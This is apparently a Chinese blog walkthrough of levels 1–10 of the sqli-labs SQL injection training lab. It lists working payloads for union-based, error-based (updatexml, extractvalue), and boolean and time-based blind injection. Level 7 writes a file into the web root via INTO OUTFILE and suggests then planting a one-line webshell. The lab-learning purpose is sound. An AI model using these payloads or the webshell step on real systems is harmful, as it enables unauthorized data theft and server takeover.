2019-05-14
sqli-labs(1-10)
-- (这里有一个空格,--空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用--+代替-- ,原因是+在URL被URL编码后会变成空格。
第一关
1、尝试 id=1 and 1=1 和 id=1 and 1=2
发现都没有出现错误,应该是字符型注入
2、尝试 id=1' 报错
尝试 id=1' --+ 正常
3、开始测字段 id=1' order by 4 --+
、说明字段数为3
4、可以union联合注入
id=0' union select 1,2,3 --+ 回显处为2,3
id=0' union select 1,database(),3 --+ 得到数据库名为security
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 得到emails,referers,uagents,users
以此类推
第二关
1、尝试 id=1 and 1=1 和 id=1 and 1=2
发现在 id=1 and 1=2时 页面无回显,说明是数字型注入
2、尝试 id=1--+ 正常
3、测字段 id=1 order by 4 --+
字段数为为3
4、可以union联合注入
同第一关
第三关
1、尝试id=1 and 1=1和 id=1 and 1=2
发现都没有出现错误,应该是字符型注入
2、尝试 id=1' 报错
说明构造变成 '1'') LIMIT 0,1 ,其中 1' 是我们传入的,所以原语句为
id=('+var+') LIMIT 0,1
尝试 id=1') --+ 正常
一开始犯糊涂以为是双引号闭合,因为测试 id=1" --+正常,但是id=1" order by 4--+回显不变,因为1" order by 4--+ 整个被转为数字时会变为 1
3、开始测字段 id=1') order by 4 --+
4、同第一关
第四关
和第三关类似,把单引号改为双引号即可
第五关
id=1时回显为这个,目测是盲注或者报错注入
1、先检查有没有报错。
尝试 id=1' 出现报错,那么这题就用报错注入把,并且可以说明是字符型注入,单引号闭合
2、构造 id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ 得到 security
3、构造 id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ 得到 emails,referers,uagents,users
其中在 select database() 语句外要加上一对()
类似的报错注入还有
id=1'and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
id=1'and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
等等
第六关
和第五关类似,把单引号改为双引号即可
第七关
1、尝试id=1 and 1=1和 id=1 and 1=2
回显都如下,目测盲注或者报错注入
2、尝试 id=1' ,得到如下报错,说明不能用报错注入,猜测是字符型注入,单引号闭合
3、目前正常回显只有一个,所以考虑
时间盲注
构造 id=1' and sleep(5) --+ 还是报错
再次尝试 id=1' and sleep(5) and '1'='1 成功,发现页面出现延时
写个脚本
布尔盲注
构造 id=1' and 1 and '1'='1
出现
构造 id=1' and 0 and '1'='1
出现
写个脚本
方法二:使用file权限向服务器写入文件
关卡提示我们使用file权限向服务器写入文件,这里的))是查看源代码才闭合的。。
构造 id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\Less-7\\1.php" --+
发现不行,在navcat中调试出现
需要修改mysql的配置文件,
先通过 show variables like '%secure%'; 查看secure_file_priv的值,为NULL
在 mysql.ini 文件中添加 secure-file-priv="" 即可
文件导入成功,可以传入一句话木马再用菜刀连
源码 $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
因此使用注释会出错,而使用 '1'='1 可以闭合,会形成
SELECT * FROM users WHERE id=(('1' and sleep(1) and '1'='1')) LIMIT 0,1;
总结:使用file权限向服务器写入文件的攻击性高,但适用性不高。。。权限以及闭合方式较麻烦,因为使用了union
第八关
1、构造 id=1 出现
2、构造 id=1' 回显为空,无法报错注入
3、目测是盲注,bool盲注测试
构造 id=1' and 1 --+
构造 id=1' and 0 --+ 回显为空
脚本参考第七关
第九关
1、构造 id=1 出现
2、构造 id=1' 出现
3、构造 id=1' and 0 --+
4、直接构造 id=1' and sleep(5) --+ 出现页面延时
时间盲注,脚本参考第七关
第十关
和第九关类似,把单引号改为双引号即可